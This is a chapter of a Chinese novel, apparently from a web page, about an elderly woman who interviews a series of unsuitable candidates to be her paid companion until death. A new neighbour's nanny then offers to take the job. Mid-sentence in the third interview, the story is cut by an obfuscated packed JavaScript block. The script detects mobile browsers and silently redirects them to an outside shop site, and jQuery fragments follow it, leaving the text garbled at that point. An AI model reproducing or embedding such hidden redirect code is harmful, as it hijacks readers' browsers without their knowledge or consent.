小袁很快帮忙在网络平台上发布消息，没想到“送终人”这新职位引来不少流量，只不过大部分都是看热闹或是骂发帖人异想天开的，少有才是真正想应聘试试的。
小袁留下周显华的联系方式和地址，还帮忙安排了面试的时间。
这天吃过午饭之后，周显华和老年活动中心的朋友请假，暂时不去打麻将。
而是从衣柜里找出了自己年轻时候，参与项目会议的正装。
又认认真真地在家中客厅布置了简易的面试桌椅，长方形的桌子盖上桌布，两头各放一张椅子，面对面。
这是她在电视剧里学习到的场景，做完这一切只需要等应试者上门，她竟莫名地有些兴奋。
这样的感觉久违了。
已经很久很久，没有什么事情可以让她感觉到一丁点兴奋。
“叮咚——”门铃声响起，是面试者到了。
第一位，看上去四十来岁，皮肤黝黑，质朴的长相。
穿了一身碎花衣服，脚上一双白色的运动鞋，看上去干干净净的，周显华对她第一印象不错。
这人似乎话很少，刚一坐下竟然还递了简历。
周显华恭敬地接了过来，戴上一枚贴有透明胶的老花眼镜，逐行逐句地阅读出声音：“小李……四十五岁，来自冷金县……还考过护工证件……做过钟点工和保姆……不错……”
这位小李一直保持憨厚的微笑，看上去十分有边界感。
“我问问，你可知道送终人是什么意思？”
“俺知道嘛，就是等你走了处理后事嘛。”看样子她是有备而来，周显华心中印象分数一点点增高。
“那我没什么问题了，看你有没有什么问题，另外，你最快什么时候可以搬来？”周显华笑容大方，身子挺得扳直，双手交合在一块。
小李挠了挠头，提出了一连串问题：“俺想晓得工资，多么子钱？”
“俺住进来噶，你还能活多久？”
她又环顾了一圈这套旧房子，问道：“仲个子房子是你的名字不？你要是死了，给俺嚒？”
每一个问题，都关乎实质的物质结果，周显华内心可以理解，但却不太舒服。
“薪资待遇，三万元，我们签合同。”周显华拿出了年轻时做项目的气势，“实不相瞒，医生说预计我还能活三到六个月，但是吧，老婆子我要是不小心超过了六个月，我们到时候又再说。”
周显华谈到这里，略微心虚，三到六个月这个时间，完全是她模仿电视剧乱说的。
“哦……那房子？”小李低头眼睛珠子不停转动，应是内心盘算。
“房子当然是我的。你我之间毫无关系，见面就找我要房子，是不是胃口太大了一点？”周显华笑容不减，却是最尖锐的回答。
现在的人，是不是想得太美了一点，坐着就想吃天上掉下的馅饼？
话到此处，刚才的好感分已经减去大半，直觉告诉她，这么计较的人后面会出问题。
“那俺在这个子住的时候，可以出门打工嚒？”小李一听自己能得到的有限，似乎不太满意，考虑起再去做一份工。
“什么工？”
“俺嚒，之前阿姨工作做得好好滴个，一个月也能找到陆、柒千块呢……”小李语气中渐渐透出失望的语气，“俺家女子看到这个子‘送终人’工作，以为可以不用太辛苦才鼓捣俺来试试的……但是俺算了一下，陆个月你要才撒手……俺每个月才五千块噶……”
“而且万一后头你瘫到床上了……俺是管还是不管嘎……不划算……”小李声音渐渐变小，仍谁听了都像是在嘟囔抱怨，“你看要不适当加点噶……要是需要俺后头护理你的生活，护理费另算……”
周显华摘下老花眼镜，合上简历，叠得规规整整地交还给小李，笑容仍端庄：“不好意思，那我们都再看看吧，谢谢你今天过来，有消息的话我会给你打电话的。”
什么都要谈钱的感觉令周显华不太舒服，她是每周买个菜都宁可舍近求远的人，乘公交车去的菜市场更便宜，下楼步行可到的那家距离虽近，单价却高。
最近进医院又花了不少钱，那个什么“派特”Ct纯自费，已经够心痛了，她不想把钱花在有风险的事情上。
万一她真的活过了半年，万一买墓穴比想象中贵，万一后面还需要别的花销呢，都是说不准的。
“抠得哟……计较的老太太还是算咯，还不如俺回去继续当阿姨……”小李小声抱怨，但每一句又确保周显华能听见，眼神飘忽中还不时观察周显华的反应，见她真是想好了，便收拾包袱，碎碎念离开了。
“嘣——”关门的声音很重，重到周显华浑身一震。
大概半小时后，第二位面试者来了。
看上去非常年轻的女孩子，头发染了浅色，穿得很时髦。
这令周显华有些意外，女孩儿感觉都能做她孙女儿了，怎么想着来应聘？
女孩儿刚一落座，周显华分明听见了一声“叮——”，很像是某个机器开机的声音，但她找了半天都没有影子，以为是自己听错了。
女孩子本就穿着宽松T恤，她还专门将两只衣袖拉得盖过手掌，把自己整只手都藏在了衣服里，像个没手的人。
周显华不自觉皱了皱眉头，无法理解年轻人的想法。
“你好，请……”周显华刚要开口让女孩儿做个自我介绍，就被对方打断了。
“老婆婆，我想问一下薪资待遇？你是为什么想到要找‘送终人’的？你得绝症了吗？还能活多久？你想象中这送终人的工作内容应该包含哪些？为什么一个能送终的亲朋好友都没有了？”
女孩儿连珠带炮一连串问题，听得周显华脑瓜子疼，感觉不是自己在面试她，反而像是她在采访自己。
“三万元，预计三到六个月吧，工作内容就是等我死了打120，然后办好火化、下葬等手续。”周显华捡着能回答的简单回应。
“那你对帖子下有人说你是骗子，就想白嫖护工的言论，怎么看待？还有，为什么一个能送终的亲朋友都没有，你还没回答。”
周显华眉头皱了起来，心头感觉闷得慌，有一股气在胸口转来转去，不知如何发泄。
“你是来找工作的吗？还是来窥探隐私？”周显华已经打算将这没礼貌的小女孩儿请离。
后来年轻女孩儿仍不依不挠，周显华忍无可忍，直接拎起她宽大的衣袖打算送客。
“啪哒——”清脆的物品落地声，两人推推搡搡之间，一个黑色的方形机器从女孩儿的衣袖里落了出来。
周显华拾了起来，虽然她对这机器叫不出名字，但她清晰地看见上面一个红色的小圆点不断地闪烁，这人从进来就在录像。
“请你删了！”
周显华好久没发过这么大的脾气，气得感觉脑袋又在发晕。
原来这个人只是想来博眼球的自媒体人，好不容易将她赶走，又留下一道重重的关门声。
80岁了，精力的确是不太够了，她瘫在沙发上，可没过两分钟，门铃声再次响起。
第三个面试者，看上去有些邋遢，对方一直想知道周显华是否是白嫖护工，最后仍然不欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594397|205549||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
而散。
这人嗓门洪亮，用力关门之前，一直尖着嗓子阴阳怪气骂周显华就是骗护工。
毕竟外面请一名专业护工，在老人未失能之前，全住家的话怎么也是7000往上的月薪，如果照顾的是失能老人，那绝对不可能低于一万块一个月。
无论周显华如何强调，同住只是确保自己的死亡能第一时间被人发现，并不需要照顾自己。
送终人有合适的兼职她是同意对方去做的，自己不会干预，对方就是怎么也不信。
吵得脑袋一直嗡嗡作响，那人“梆——”的一声关上门之后，骂骂咧咧的声音仍穿透防盗门，钻进周显华的耳朵。
忽然之间骂声消失了，但立刻隔壁那位难缠的庞老太太声音响起了。
她是在抱怨周显华今天一天动静太大，扰了她的清净。
周显华气得拳头握紧了，这老太太今天又开始了。
她不停地劝自己，上次生气害得全是自己身体，这次要冷静冷静。
可是隔壁的谩骂声不绝于耳，周显华总算是忍无可忍。
她气鼓鼓地猛地一拉门，冲着对面躲在半开房门背后的庞老太一顿发泄：“你吵吵什么！？她们这些人没素质要大声关门，关我什么事！？有本事吵她们去啊！”
周显华是故意这么说的，她眼角余光看见，刚走的那个大嗓门还在等电梯，正好她所有气一起发了。
忽然，她注意到不止一个人在等电梯，大嗓门旁边站着一名她从未见过的中年女子。
那人身形纤瘦，面部有些黑，但总得来说长得还挺水灵，朴素的脸上，唯独嘴唇涂了口红，衣服修身而干净，应是个爱美的女人。
她的手里提着两大包垃圾，周显华猜测应该是庞老太家的新保姆。
在场三人经周显华的嘶吼之后，变得异常安静，安静得甚至有些尴尬。
庞老太向来是雷声大雨点小，抱怨多但要真碰上周显华不给她面子的时候，也不敢继续了，脑袋缩回了门里。
刚面试的大嗓门更是不敢回头看周显华，唯有那新保姆，微微侧身，朝周显华点头示意，算作初来乍到，打了个招呼。
充斥着家长里短的老院子总算是恢复了平静，周显华回房又一次仔仔细细地阅读自己的身体报告，连连叹气。
她感到灰心，独自一人生活，是不是真的错了。
手写电话本的第一页，有一个叫“杨凤“的，她的名字电话占据了整整一页。
周显华看了半天，最终还是合上了。
她宁可一个人死，也不想打这个电话。
只能寄希望于明天，听小袁说，明天还安排了一位面试者。
正在这时，小袁来电了，坏消息接踵而至，明天那位面试者说她不来了，而且暂时没有别的候选者了。
周显华挂断电话后，心是彻底跌入谷底。
她望着天花板，明明是陈旧的白色，却忽然在她眼中成了天旋地转的混沌。
是不是最开始做独自生活的决定时，就该准备好这一天了。
曾经她认为自己可以面对和接受，没想到这天真的到来时，自己还是慌了。
不知过了多久，窗外天色暗了，今天却一点胃口都没有。
“叮咚——”门铃声意外响起，惊了周显华一瞬。
她缓缓起身，迈着沉重的步伐去开门。
站在门口的是隔壁刚打过照面的新保姆，她黑色的眸子望不见底，率先开口道：“周婆婆，我叫钟虹秀，还有几个月满三十五，你看看那个‘送终人’的工作，我可以试试吗？”